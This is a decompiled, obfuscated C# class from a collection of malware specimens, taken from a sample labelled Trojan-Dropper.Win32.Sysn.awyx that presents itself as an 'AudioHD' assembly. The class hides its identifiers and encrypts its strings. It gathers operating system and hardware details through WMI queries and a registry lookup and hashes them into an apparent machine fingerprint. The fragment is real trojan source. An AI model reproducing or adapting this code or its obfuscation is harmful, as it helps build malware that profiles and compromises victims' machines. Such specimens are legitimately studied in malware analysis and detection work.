MalwareSourceCode/MSIL/Trojan-Dropper/Win32/S/Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024/_000F/_0006.cs

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe

using \u0001;
using \u000F;
using Microsoft.Win32;
using System;
using System.Management;

namespace \u000F
{
  internal sealed class \u0006
  {
    [NonSerialized]
    internal static \u0002 \u0001;

    public string \u000F() => this.\u0011() + (object) Convert.ToChar(32) + this.\u0012();

    public string \u0010()
    {
      string str = (this.\u0013() + this.\u0015() + this.\u0014()).ToString();
      return \u000F.\u0001.\u0001.\u0010(str);
    }

    private string \u0011()
    {
      ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(\u0006.\u0001(8133), \u0006.\u0001(8468));
      string empty = string.Empty;
      foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
        empty = Convert.ToString(managementBaseObject[\u0006.\u0001(6866)]);
      try
      {
        string str = empty.Split('|')[0];
        int length = str.Split(' ')[0].Length;
        return str.Substring(length).TrimStart().TrimEnd();
      }
      catch
      {
        return \u0006.\u0001(8517);
      }
    }

    private string \u0012() => Registry.LocalMachine.OpenSubKey(\u0006.\u0001(8538)).GetValue(\u0006.\u0001(8603)).ToString().Contains(\u0006.\u0001(8620)) ? \u0006.\u0001(8625) : \u0006.\u0001(8638);

    private string \u0013()
    {
      ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(\u0006.\u0001(8133), \u0006.\u0001(8651));
      string empty = string.Empty;
      foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
        empty = Convert.ToString(managementBaseObject[\u0006.\u0001(8724)]);
      return empty;
    }

    private string \u0014()
    {
      ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(\u0006.\u0001(8133), \u0006.\u0001(8741));
      string empty = string.Empty;
      foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
        empty = Convert.ToString(managementBaseObject[\u0006.\u0001(8782)]);
      return empty;
    }

    public string \u0015()
    {
      ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(\u0006.\u0001(8133), \u0006.\u0001(8799));
      string empty = string.Empty;
      foreach (ManagementBaseObject managementBaseObject in managementObjectSearcher.Get())
        empty = Convert.ToString(managementBaseObject[\u0006.\u0001(8848)]);
      return empty;
    }

    static \u0006() => \u0003.\u000F();
  }
}